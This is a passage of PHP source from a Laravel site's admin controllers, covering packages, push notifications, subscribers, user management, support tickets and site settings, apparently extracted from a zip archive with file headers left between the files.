Response::json(['status' => 'success'], 200); }); } catch (\Throwable $e) { return $e; } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } public function delete(Request $request) { try { return DB::transaction(function () use ($request) { $package = Package::query()->findOrFail($request->package_id); if ($package->memberships()->count() > 0) { foreach ($package->memberships as $key => $membership) { @unlink(public_path('assets/front/img/membership/receipt/') . $membership->receipt); $membership->delete(); } } $package->delete(); Session::flash('success', 'Package deleted successfully!'); return back(); }); } catch (\Throwable $e) { return $e; } } public function bulkDelete(Request $request) { try { return DB::transaction(function () use ($request) { $ids = $request->ids; foreach ($ids as $id) { $package = Package::query()->findOrFail($id); if ($package->memberships()->count() > 0) { foreach ($package->memberships as $key => $membership) { @unlink(public_path('assets/front/img/membership/receipt/') . $membership->receipt); $membership->delete(); } } $package->delete(); } Session::flash('success', 'Package bulk deletion is successful!'); return response()->json(['status' => 'success'], 200); }); } catch (\Throwable $e) { return $e; } } } PK(\(wK K :Http/Controllers/Admin/User/PushNotificationController.phpnu[select('notification_image')->first(); return view('admin.end-user.push-notification.settings', ['data' => $data]); } public function updateSettings(Request $request) { $data = DB::table('basic_settings')->select('notification_image')->first(); $rules = []; if (is_null($data->notification_image)) { $rules['notification_image'] = 'required'; } if ($request->hasFile('notification_image')) { $rules['notification_image'] = new ImageMimeTypeRule(); } if (env('VAPID_PUBLIC_KEY') == null) { $rules['vapid_public_key'] = 'required'; } if (env('VAPID_PRIVATE_KEY') == null) { $rules['vapid_private_key'] = 'required'; } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if ($request->hasFile('notification_image')) { $newImage = $request->file('notification_image'); $oldImage = $data->notification_image; $imageName = UploadFile::update(public_path('assets/img/'), $newImage, $oldImage); DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['notification_image' => $imageName] ); } if ($request->filled('vapid_public_key') && $request->filled('vapid_private_key')) { $array = [ 'VAPID_PUBLIC_KEY' => $request->vapid_public_key, 'VAPID_PRIVATE_KEY' => $request->vapid_private_key ]; setEnvironmentValue($array); Artisan::call('config:clear'); } $request->session()->flash('success', 'Settings updated successfully!'); return redirect()->back(); } public function writeNotification() { return view('admin.end-user.push-notification.write-notification'); } public function sendNotification(Request $request) { $rules = [ 'title' => 'required', 'button_name' => 'required', 'button_url' => 'required|url' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $title = $request['title']; $message = $request['message']; $buttonName = $request['button_name']; $buttonURL = $request['button_url']; // send push notification $guests = Guest::all(); Notification::send($guests, new PushNotification($title, $message, $buttonName, $buttonURL)); $request->session()->flash('success', 'Notification has been sent.'); return redirect()->back(); } } PK(\  4Http/Controllers/Admin/User/SubscriberController.phpnu[filled('email')) { $searchKey = $request['email']; } $subscribers = Subscriber::query()->when($searchKey, function ($query, $searchKey) { return $query->where('email_id', 'like', '%' . $searchKey . '%'); }) ->orderByDesc('id') ->paginate(10); return view('admin.end-user.subscriber.index', compact('subscribers')); } public function destroy($id) { try { Subscriber::query()->findOrFail($id)->delete(); return redirect()->back()->with('success', 'Subscriber deleted successfully!'); } catch (ModelNotFoundException $e) { return redirect()->back()->with('warning', 'Sorry, email not found!'); } } public function bulkDestroy(Request $request) { $ids = $request->ids; foreach ($ids as $id) { Subscriber::query()->find($id)->delete(); } Session::flash('success', 'Subscribers deleted successfully!'); return response()->json(['status' => 'success'], 200); } public function writeEmail() { return view('admin.end-user.subscriber.write-email'); } public function prepareEmail(Request $request) { $subscribers = Subscriber::all(); if (count($subscribers) == 0) { Session::flash('warning', 'No subscriber found!'); return redirect()->back(); } $rules = [ 'subject' => 'required', 'message' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } $mailData['subject'] = $request['subject']; $mailData['body'] = $request['message']; foreach ($subscribers as $subscriber) { $mailData['recipient'] = $subscriber->email_id; BasicMailer::sendMail($mailData); } Session::flash('success', 'Mail has been sent to all the subscribers.'); return redirect()->back(); } } PK(\ ,,.Http/Controllers/Admin/User/UserController.phpnu[filled('info')) { $searchKey = $request['info']; } $users = User::query()->when($searchKey, function ($query, $searchKey) { return $query->where('username', 'like', '%' . $searchKey . '%') ->orWhere('email', 'like', '%' . $searchKey . '%'); }) ->orderByDesc('id') ->paginate(10); return view('admin.end-user.user.index', compact('users')); } public function create() { return view('admin.end-user.user.create'); } public function store(Request $request) { $rules = [ 'name' => 'required', 'username' => [ 'required', Rule::unique('users', 'username') ], 'email' => [ 'required', Rule::unique('users', 'email') ], 'image' => [ 'required', 'image', 'dimensions:width=80,height=80', new ImageMimeTypeRule(), ], 'password' => 'required|min:6', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } $file = $request->file('image'); $in = $request->all(); if ($file) { $extension = $file->getClientOriginalExtension(); $directory = public_path('assets/img/users/'); $fileName = uniqid() . '.' . $extension; @mkdir($directory, 0775, true); $file->move($directory, $fileName); } $user = new User(); $user->image = $fileName; $user->name = $request->name; $user->username = $request->username; $user->email = $request->email; $user->phone = $request->phone; $user->country = $request->country; $user->city = $request->city; $user->state = $request->state; $user->zip_code = $request->zip_code; $user->address = $request->address; $user->password = Hash::make($request->password); $user->email_verified_at = Carbon::now(); $user->status = 1; $user->save(); Session::flash('success', 'A new user has been added successfully.'); return response()->json(['status' => 'success'], 200); } public function updateEmailStatus(Request $request, $id) { $user = User::query()->find($id); if ($request['email_status'] == 1) { $user->update([ 'email_verified_at' => date('Y-m-d H:i:s') ]); } else { $user->update([ 'email_verified_at' => NULL ]); } Session::flash('success', 'Email status updated successfully!'); return redirect()->back(); } public function updateAccountStatus(Request $request, $id) { $user = User::query()->find($id); if ($request['account_status'] == 1) { $user->update([ 'status' => 1 ]); } else { $user->update([ 'status' => 0 ]); } Session::flash('success', 'Account status updated successfully!'); return redirect()->back(); } public function edit($id) { $user = User::query()->findOrFail($id); $information['user'] = $user; return view('admin.end-user.user.edit', $information); } public function update(Request $request, $id) { $rules = [ 'name' => 'required', 'username' => [ 'required', Rule::unique('users', 'username')->ignore($id) ], 'email' => [ 'required', Rule::unique('users', 'email')->ignore($id) ], ]; if ($request->hasFile('image')) { $rules['image'] = 'dimensions:width=80,height=80'; } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } $file = $request->file('image'); $in = $request->all(); $user = User::where('id', $id)->firstOrFail(); if ($file) { $extension = $file->getClientOriginalExtension(); $directory = public_path('assets/img/users/'); $fileName = uniqid() . '.' . $extension; @mkdir($directory, 0775, true); $file->move($directory, $fileName); $in['image'] = $fileName; @unlink(public_path('assets/img/users/') . $user->image); } $in['email'] = $request->email; $user->update($in); Session::flash('success', 'User has been updated successfully.'); return response()->json(['status' => 'success'], 200); } public function changePassword($id) { $userInfo = User::query()->findOrFail($id); return view('admin.end-user.user.change-password', compact('userInfo')); } public function updatePassword(Request $request, $id) { $rules = [ 'new_password' => 'required|confirmed', 'new_password_confirmation' => 'required' ]; $messages = [ 'new_password.confirmed' => 'Password confirmation does not match.', 'new_password_confirmation.required' => 'The confirm new password field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } $user = User::query()->find($id); $user->update([ 'password' => Hash::make($request->new_password) ]); Session::flash('success', 'Password updated successfully!'); return Response::json(['status' => 'success'], 200); } public function secret_login($id) { $user = User::where('id', $id)->first(); Auth::guard('web')->login($user); Session::put('secret_login', 1); return redirect()->route('user.dashboard'); } public function destroy($id) { $user = User::query()->findOrFail($id); //delete all vendor's support ticket $support_tickets = SupportTicket::where([['user_id', $user->id], ['user_type', 'user']])->get(); foreach ($support_tickets as $support_ticket) { //delete conversation $messages = $support_ticket->messages()->get(); foreach ($messages as $message) { @unlink(public_path('assets/admin/img/support-ticket/' . $message->file)); $message->delete(); } @unlink(public_path('assets/admin/img/support-ticket/attachment/') . $support_ticket->attachment); $support_ticket->delete(); } // delete all the product orders of this user $orders = $user->productOrder()->get(); if (count($orders) > 0) { foreach ($orders as $order) { @unlink(public_path('assets/file/attachments/product/') . $order->attachment); @unlink(public_path('assets/file/invoices/product/') . $order->invoice); // delete all the purchased items of this order $items = $order->item()->get(); foreach ($items as $item) { $item->delete(); } $order->delete(); } } // delete all the product reviews of this user $productReviews = $user->productReview()->get(); if (count($productReviews) > 0) { foreach ($productReviews as $review) { $review->delete(); } } $reviews = ListingReview::where('user_id', $id)->get(); if (!is_null($reviews)) { foreach ($reviews as $review) { $review->delete(); } } // delete user image @unlink(public_path('assets/img/users/') . $user->image); $user->delete(); return redirect()->back()->with('success', 'User deleted successfully!'); } public function bulkDestroy(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $user = User::query()->findOrFail($id); //delete all vendor's support ticket $support_tickets = SupportTicket::where([['user_id', $user->id], ['user_type', 'user']])->get(); foreach ($support_tickets as $support_ticket) { //delete conversation $messages = $support_ticket->messages()->get(); foreach ($messages as $message) { @unlink(public_path('assets/admin/img/support-ticket/' . $message->file)); $message->delete(); } @unlink(public_path('assets/admin/img/support-ticket/attachment/') . $support_ticket->attachment); $support_ticket->delete(); } // delete all the product orders of this user $orders = $user->productOrder()->get(); if (count($orders) > 0) { foreach ($orders as $order) { @unlink(public_path('assets/file/attachments/product/') . $order->attachment); @unlink(public_path('assets/file/invoices/product/') . $order->invoice); // delete all the purchased items of this order $items = $order->item()->get(); foreach ($items as $item) { $item->delete(); } $order->delete(); } } // delete all the product reviews of this user $productReviews = $user->productReview()->get(); if (count($productReviews) > 0) { foreach ($productReviews as $review) { $review->delete(); } } // delete user image @unlink(public_path('assets/img/users/') . $user->image); $reviews = ListingReview::where('user_id', $id)->get(); if (!is_null($reviews)) { foreach ($reviews as $review) { $review->delete(); } } $user->delete(); } Session::flash('success', 'Users deleted successfully!'); return Response::json(['status' => 'success'], 200); } } PK(\F( 2Http/Controllers/Admin/SupportTicketController.phpnu[user()->role_id; $status = $ticket_id = null; if ($request->filled('status')) { $status = $request['status']; } if ($request->filled('ticket_id')) { $ticket_id = $request['ticket_id']; } if (empty($role_id)) { $collection = SupportTicket::with('vendor')->when($status, function ($query, $status) { return $query->where('status', $status); }) ->when($ticket_id, function ($query, $ticket_id) { return $query->where('id', 'like', '%' . $ticket_id . '%'); }) ->orderByDesc('id') ->paginate(10); } else { $collection = SupportTicket::with('vendor')->when($status, function ($query, $status) { return $query->where('status', $status); }) ->when($ticket_id, function ($query, $ticket_id) { return $query->where('id', 'like', '%' . $ticket_id . '%'); }) ->where('admin_id', Auth::guard('admin')->user()->id) ->orderByDesc('id') ->paginate(10); } return view('admin.support_ticket.index', compact('collection')); } //message public function message($id) { $role_id = Auth::guard('admin')->user()->role_id; if (empty($role_id)) { $ticket = SupportTicket::where('id', $id)->firstOrFail(); } else { $ticket = SupportTicket::where([['id', $id], ['admin_id', Auth::guard('admin')->user()->id]])->firstOrFail(); } return view('admin.support_ticket.messages', compact('ticket')); } public function zip_file_upload(Request $request) { $file = $request->file('file'); $allowedExts = array('zip'); $rules = [ 'file' => [ function ($attribute, $value, $fail) use ($file, $allowedExts) { $ext = $file->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only zip file supported"); } }, 'max:20000' ], ]; $messages = [ 'file.max' => ' zip file may not be greater than 20 MB', ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return response()->json(array('errors' => $validator->getMessageBag()->toArray())); } if ($request->hasFile('file')) { $file = $request->file('file'); $filename = uniqid() . '.' . $file->getClientOriginalExtension(); $file->move(public_path('assets/front/temp/'), $filename); $input['file'] = $filename; } return response()->json(['data' => 1]); } public function ticketreply(Request $request, $id) { $file = $request->file('file'); $allowedExts = array('zip'); $rules = [ 'reply' => 'required', 'file' => [ function ($attribute, $value, $fail) use ($file, $allowedExts) { $ext = $file->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only zip file supported"); } }, 'max:5000' ], ]; $messages = [ 'file.max' => ' zip file may not be greater than 5 MB', ]; $request->validate($rules, $messages); $input = $request->all(); $reply = str_replace(url('/') . '/assets/front/img/', "{base_url}/assets/front/img/", $request->reply); $input['reply'] = Purifier::clean($reply, 'youtube'); $input['user_id'] = Auth::guard('admin')->user()->id; $input['type'] = 2; $input['support_ticket_id'] = $id; if ($request->hasFile('file')) { $file = $request->file('file'); $filename = uniqid() . '.' . $file->getClientOriginalExtension(); $file->move(public_path('assets/admin/img/support-ticket/'), $filename); $input['file'] = $filename; } $data = new Conversation(); $data->create($input); $files = glob('assets/front/temp/*'); foreach ($files as $file) { @unlink($file); } SupportTicket::where('id', $id)->update([ 'last_message' => Carbon::now(), 'status' => 2, ]); Session::flash('success', 'Message Sent Successfully'); return back(); } //ticket_closed public function ticket_closed($id) { SupportTicket::where('id', $id)->update([ 'status' => 3, ]); Session::flash('success', 'Support Ticket close successfully!'); return back(); } //setting public function setting() { $content = SupportTicketStatus::where('id', 1)->first(); return view('admin.support_ticket.setting', compact('content')); } //update_setting public function update_setting(Request $request) { $status = SupportTicketStatus::where('id', 1)->first(); $status->support_ticket_status = $request->support_ticket_status; $status->save(); Session::flash('success', 'Support Ticket Status Updated successfully!'); return back(); } //assign_stuff.supoort.ticket public function assign_stuff(Request $request, $id) { if($request->admin_id){ $support_ticket = SupportTicket::where('id', $id)->first(); $support_ticket->admin_id = $request->admin_id; $support_ticket->save(); Session::flash('success', 'Add Stuff to this support ticket successfully..!'); return back(); }else{ Session::flash('warning', 'Please select a staff.!'); return back(); } } public function unassign_stuff($id) { SupportTicket::where('id', $id)->update([ 'admin_id' => null, ]); Session::flash('success', 'Unassign stuff successfully!'); return back(); } //delete public function delete($id) { //delete all support ticket $support_ticket = SupportTicket::where('id', $id)->first(); if ($support_ticket) { //delete conversation $messages = $support_ticket->messages()->get(); foreach ($messages as $message) { @unlink(public_path('assets/admin/img/support-ticket/') . $message->file); $message->delete(); } @unlink(public_path('assets/admin/img/support-ticket/') . $support_ticket->attachment); $support_ticket->delete(); } Session::flash('success', 'Support Ticket Deleted Successfully..!'); return back(); } public function bulk_delete(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $support_ticket = SupportTicket::where('id', $id)->first(); if ($support_ticket) { //delete conversation $messages = $support_ticket->messages()->get(); foreach ($messages as $message) { @unlink(public_path('assets/admin/img/support-ticket/' . $message->file)); $message->delete(); } @unlink(public_path('assets/admin/img/support-ticket/') . $support_ticket->attachment); $support_ticket->delete(); } } Session::flash('success', 'Support Tickets are Deleted Successfully..!'); return response()->json(['status' => 'success'], 200); } } PK(\8???Http/Controllers/Admin/BasicSettings/MailTemplateController.phpnu[ 'required', 'mail_body' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } MailTemplate::findOrFail($id)->update($request->except('mail_type', 'mail_body') + [ 'mail_body' => Purifier::clean($request->mail_body, 'youtube') ]); Session::flash('success', 'Mail template updated successfully!'); return redirect()->back(); } } PK(\ 2>Http/Controllers/Admin/BasicSettings/SocialMediaController.phpnu[get(); return view('admin.basic-settings.social-media.index', $information); } public function store(Request $request) { $rules = [ 'icon' => 'required', 'url' => 'required|url', 'serial_number' => 'required|numeric' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } SocialMedia::create($request->all()); Session::flash('success', 'New social media added successfully!'); return Response::json(['status' => 'success'], 200); } public function update(Request $request) { $rules = [ 'url' => 'required|url', 'serial_number' => 'required|numeric' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } SocialMedia::find($request->id)->update($request->all()); Session::flash('success', 'Social media updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { SocialMedia::find($id)->delete(); return redirect()->back()->with('success', 'Social media deleted successfully!'); } } PK(\*++>Http/Controllers/Admin/BasicSettings/PageHeadingController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; // then, get the page headings info of that language from db $information['data'] = $language->pageName()->first(); // get all the languages from db $information['langs'] = Language::all(); return view('admin.basic-settings.page-headings', $information); } public function updatePageHeadings(PageHeadingRequest $request) { // first, get the language info from db $language = Language::query()->where('code', '=', $request->language)->first(); // then, get the page heading info of that language from db $heading = $language->pageName()->first(); if (empty($heading)) { PageHeading::query()->create($request->except('language_id') + [ 'language_id' => $language->id ]); } else { $heading->update($request->all()); } Session::flash('success', 'Page headings updated successfully!'); return redirect()->back(); } } PK(\/6Http/Controllers/Admin/BasicSettings/SEOController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; // then, get the seo info of that language from db $information['data'] = $language->seoInfo()->first(); // get all the languages from db $information['langs'] = Language::all(); return view('admin.basic-settings.seo', $information); } public function update(Request $request) { // first, get the language info from db $language = Language::query()->where('code', '=', $request->language)->first(); // then, get the seo info of that language from db $seoInfo = $language->seoInfo()->first(); if (empty($seoInfo)) { SEO::query()->create($request->except('language_id') + [ 'language_id' => $language->id ]); } else { $seoInfo->update($request->all()); } Session::flash('success', 'SEO Informations updated successfully!'); return redirect()->back(); } } PK(\瀫>Http/Controllers/Admin/BasicSettings/CookieAlertController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; // then, get the cookie alert info of that language from db $information['data'] = $language->cookieAlertInfo()->first(); // get all the languages from db $information['langs'] = Language::all(); return view('admin.basic-settings.cookie-alert', $information); } public function updateCookieAlert(Request $request) { $rules = [ 'cookie_alert_status' => 'required', 'cookie_alert_btn_text' => 'required', 'cookie_alert_text' => 'required' ]; $message = [ 'cookie_alert_btn_text.required' => 'The cookie alert button text field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } // first, get the language info from db $language = Language::query()->where('code', '=', $request->language)->first(); // then, get the cookie alert info of that language from db $data = $language->cookieAlertInfo()->first(); if (empty($data)) { CookieAlert::query()->create($request->except(['language_id', 'cookie_alert_text']) + [ 'language_id' => $language->id, 'cookie_alert_text' => clean($request->cookie_alert_text) ]); } else { $data->update($request->all()); } Session::flash('success', 'Cookie alert info updated successfully!'); return Response::json(['status' => 'success'], 200); } } PK(\xG8Http/Controllers/Admin/BasicSettings/BasicController.phpnu[select('favicon')->first(); return view('admin.basic-settings.favicon', ['data' => $data]); } public function updateFavicon(Request $request) { $data = DB::table('basic_settings')->select('favicon')->first(); $rules = []; if (!$request->filled('favicon') && is_null($data->favicon)) { $rules['favicon'] = 'required'; } if ($request->hasFile('favicon')) { $rules['favicon'] = new ImageMimeTypeRule(); } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if ($request->hasFile('favicon')) { $iconName = UploadFile::update(public_path('assets/img/'), $request->file('favicon'), $data->favicon); // finally, store the favicon into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['favicon' => $iconName] ); Session::flash('success', 'Favicon updated successfully!'); } return redirect()->back(); } public function logo() { $data = DB::table('basic_settings')->select('logo')->first(); return view('admin.basic-settings.logo', ['data' => $data]); } public function updateLogo(Request $request) { $data = DB::table('basic_settings')->select('logo')->first(); $rules = []; if (!$request->filled('logo') && is_null($data->logo)) { $rules['logo'] = 'required'; } if ($request->hasFile('logo')) { $rules['logo'] = new ImageMimeTypeRule(); } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if ($request->hasFile('logo')) { $logoName = UploadFile::update(public_path('assets/img/'), $request->file('logo'), $data->logo); // finally, store the logo into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['logo' => $logoName] ); Session::flash('success', 'Logo updated successfully!'); } return redirect()->back(); } public function contact_page() { $data = DB::table('basic_settings') ->select('email_address', 'contact_number', 'address', 'contact_title', 'contact_subtile', 'contact_details', 'latitude', 'longitude') ->first(); $information['data'] = $data; // get all the languages from db $information['languages'] = Language::all(); return view('admin.basic-settings.contact', $information); } public function update_contact_page(Request $request) { $rules = [ 'email_address' => 'required', 'contact_number' => 'required', 'address' => 'required', 'latitude' => 'required', 'longitude' => 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'email_address' => $request->email_address, 'contact_number' => $request->contact_number, 'address' => $request->address, 'latitude' => $request->latitude, 'longitude' => $request->longitude, ] ); Session::flash('success', 'Update Contact Page successfully!'); return redirect()->back(); } public function themeAndHome() { $data = DB::table('basic_settings')->select('theme_version')->first(); return view('admin.basic-settings.theme-&-home', ['data' => $data]); } public function updateThemeAndHome(Request $request) { $rules = [ 'theme_version' => 'required|numeric' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['theme_version' => $request->theme_version] ); Session::flash('success', 'Theme & home version updated successfully!'); return redirect()->back(); } public function currency() { $data = DB::table('basic_settings') ->select('base_currency_symbol', 'base_currency_symbol_position', 'base_currency_text', 'base_currency_text_position', 'base_currency_rate') ->first(); return view('admin.basic-settings.currency', ['data' => $data]); } public function updateCurrency(CurrencyRequest $request) { DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'base_currency_symbol' => $request->base_currency_symbol, 'base_currency_symbol_position' => $request->base_currency_symbol_position, 'base_currency_text' => $request->base_currency_text, 'base_currency_text_position' => $request->base_currency_text_position, 'base_currency_rate' => $request->base_currency_rate ] ); Session::flash('success', 'Currency updated successfully!'); return redirect()->back(); } public function appearance() { $data = DB::table('basic_settings') ->select('primary_color', 'secondary_color', 'breadcrumb_overlay_color', 'breadcrumb_overlay_opacity') ->first(); return view('admin.basic-settings.appearance', ['data' => $data]); } public function updateAppearance(Request $request) { $rules = [ 'primary_color' => 'required', 'secondary_color' => 'required', 'breadcrumb_overlay_color' => 'required', 'breadcrumb_overlay_opacity' => 'required|numeric|min:0|max:1' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'primary_color' => $request->primary_color, 'secondary_color' => $request->secondary_color, 'breadcrumb_overlay_color' => $request->breadcrumb_overlay_color, 'breadcrumb_overlay_opacity' => $request->breadcrumb_overlay_opacity ] ); Session::flash('success', 'Appearance updated successfully!'); return redirect()->back(); } public function mailFromAdmin() { $data = DB::table('basic_settings') ->select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name') ->first(); return view('admin.basic-settings.email.mail-from-admin', ['data' => $data]); } public function updateMailFromAdmin(MailFromAdminRequest $request) { DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'smtp_status' => $request->smtp_status, 'smtp_host' => $request->smtp_host, 'smtp_port' => $request->smtp_port, 'encryption' => $request->encryption, 'smtp_username' => $request->smtp_username, 'smtp_password' => $request->smtp_password, 'from_mail' => $request->from_mail, 'from_name' => $request->from_name ] ); Session::flash('success', 'Mail info updated successfully!'); return redirect()->back(); } public function mailToAdmin() { $data = DB::table('basic_settings')->select('to_mail')->first(); return view('admin.basic-settings.email.mail-to-admin', ['data' => $data]); } public function updateMailToAdmin(Request $request) { $rule = [ 'to_mail' => 'required' ]; $message = [ 'to_mail.required' => 'The mail address field is required.' ]; $validator = Validator::make($request->all(), $rule, $message); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['to_mail' => $request->to_mail] ); Session::flash('success', 'Mail info updated successfully!'); return redirect()->back(); } public function breadcrumb() { $data = DB::table('basic_settings')->select('breadcrumb')->first(); return view('admin.basic-settings.breadcrumb', ['data' => $data]); } public function updateBreadcrumb(Request $request) { $data = DB::table('basic_settings')->select('breadcrumb')->first(); $rules = []; if (!$request->filled('breadcrumb') && is_null($data->breadcrumb)) { $rules['breadcrumb'] = 'required'; } if ($request->hasFile('breadcrumb')) { $rules['breadcrumb'] = new ImageMimeTypeRule(); } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if ($request->hasFile('breadcrumb')) { $breadcrumbName = UploadFile::update(public_path('assets/img/'), $request->file('breadcrumb'), $data->breadcrumb); // finally, store the breadcrumb into db DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['breadcrumb' => $breadcrumbName] ); Session::flash('success', 'Breadcrumb updated successfully!'); } return redirect()->back(); } public function plugins() { $data = DB::table('basic_settings') ->select('disqus_status', 'disqus_short_name', 'google_recaptcha_status', 'google_recaptcha_site_key', 'google_recaptcha_secret_key', 'whatsapp_status', 'whatsapp_number', 'whatsapp_header_title', 'whatsapp_popup_status', 'whatsapp_popup_message', 'facebook_login_status', 'facebook_app_id', 'facebook_app_secret', 'google_login_status', 'google_client_id', 'google_client_secret', 'tawkto_status', 'tawkto_direct_chat_link') ->first(); return view('admin.basic-settings.plugins', ['data' => $data]); } public function updateDisqus(Request $request) { $rules = [ 'disqus_status' => 'required', 'disqus_short_name' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'disqus_status' => $request->disqus_status, 'disqus_short_name' => $request->disqus_short_name ] ); Session::flash('success', 'Disqus info updated successfully!'); return redirect()->back(); } public function updateTawkTo(Request $request) { $rules = [ 'tawkto_status' => 'required', 'tawkto_direct_chat_link' => 'required' ]; $messages = [ 'tawkto_status.required' => 'The tawk.to status field is required.', 'tawkto_direct_chat_link.required' => 'The tawk.to direct chat link field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'tawkto_status' => $request->tawkto_status, 'tawkto_direct_chat_link' => $request->tawkto_direct_chat_link ] ); Session::flash('success', 'Tawk.To info updated successfully!'); return redirect()->back(); } public function updateRecaptcha(Request $request) { $rules = [ 'google_recaptcha_status' => 'required', 'google_recaptcha_site_key' => 'required', 'google_recaptcha_secret_key' => 'required' ]; $messages = [ 'google_recaptcha_status.required' => 'The recaptcha status field is required.', 'google_recaptcha_site_key.required' => 'The recaptcha site key field is required.', 'google_recaptcha_secret_key.required' => 'The recaptcha secret key field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'google_recaptcha_status' => $request->google_recaptcha_status, 'google_recaptcha_site_key' => $request->google_recaptcha_site_key, 'google_recaptcha_secret_key' => $request->google_recaptcha_secret_key ] ); $array = [ 'NOCAPTCHA_SECRET' => $request->google_recaptcha_secret_key, 'NOCAPTCHA_SITEKEY' => $request->google_recaptcha_site_key ]; setEnvironmentValue($array); Artisan::call('config:clear'); Session::flash('success', 'Recaptcha info updated successfully!'); return redirect()->back(); } public function updateFacebook(Request $request) { $rules = [ 'facebook_login_status' => 'required', 'facebook_app_id' => 'required', 'facebook_app_secret' => 'required' ]; $messages = [ 'facebook_login_status.required' => 'The login status field is required.', 'facebook_app_id.required' => 'The app id field is required.', 'facebook_app_secret.required' => 'The app secret field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'facebook_login_status' => $request->facebook_login_status, 'facebook_app_id' => $request->facebook_app_id, 'facebook_app_secret' => $request->facebook_app_secret ] ); $array = [ 'FACEBOOK_CLIENT_ID' => $request->facebook_app_id, 'FACEBOOK_CLIENT_SECRET' => $request->facebook_app_secret, 'FACEBOOK_CALLBACK_URL' => url('user/login/facebook/callback') ]; setEnvironmentValue($array); Artisan::call('config:clear'); Session::flash('success', 'Facebook info updated successfully!'); return redirect()->back(); } public function updateGoogle(Request $request) { $rules = [ 'google_login_status' => 'required', 'google_client_id' => 'required', 'google_client_secret' => 'required' ]; $messages = [ 'google_login_status.required' => 'The login status field is required.', 'google_client_id.required' => 'The client id field is required.', 'google_client_secret.required' => 'The client secret field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'google_login_status' => $request->google_login_status, 'google_client_id' => $request->google_client_id, 'google_client_secret' => $request->google_client_secret ] ); $array = [ 'GOOGLE_CLIENT_ID' => $request->google_client_id, 'GOOGLE_CLIENT_SECRET' => $request->google_client_secret, 'GOOGLE_CALLBACK_URL' => url('/login/google/callback') ]; setEnvironmentValue($array); Artisan::call('config:clear'); Session::flash('success', 'Google info updated successfully!'); return redirect()->back(); } public function updateWhatsApp(Request $request) { $rules = [ 'whatsapp_status' => 'required', 'whatsapp_number' => 'required', 'whatsapp_header_title' => 'required', 'whatsapp_popup_status' => 'required', 'whatsapp_popup_message' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], [ 'whatsapp_status' => $request->whatsapp_status, 'whatsapp_number' => $request->whatsapp_number, 'whatsapp_header_title' 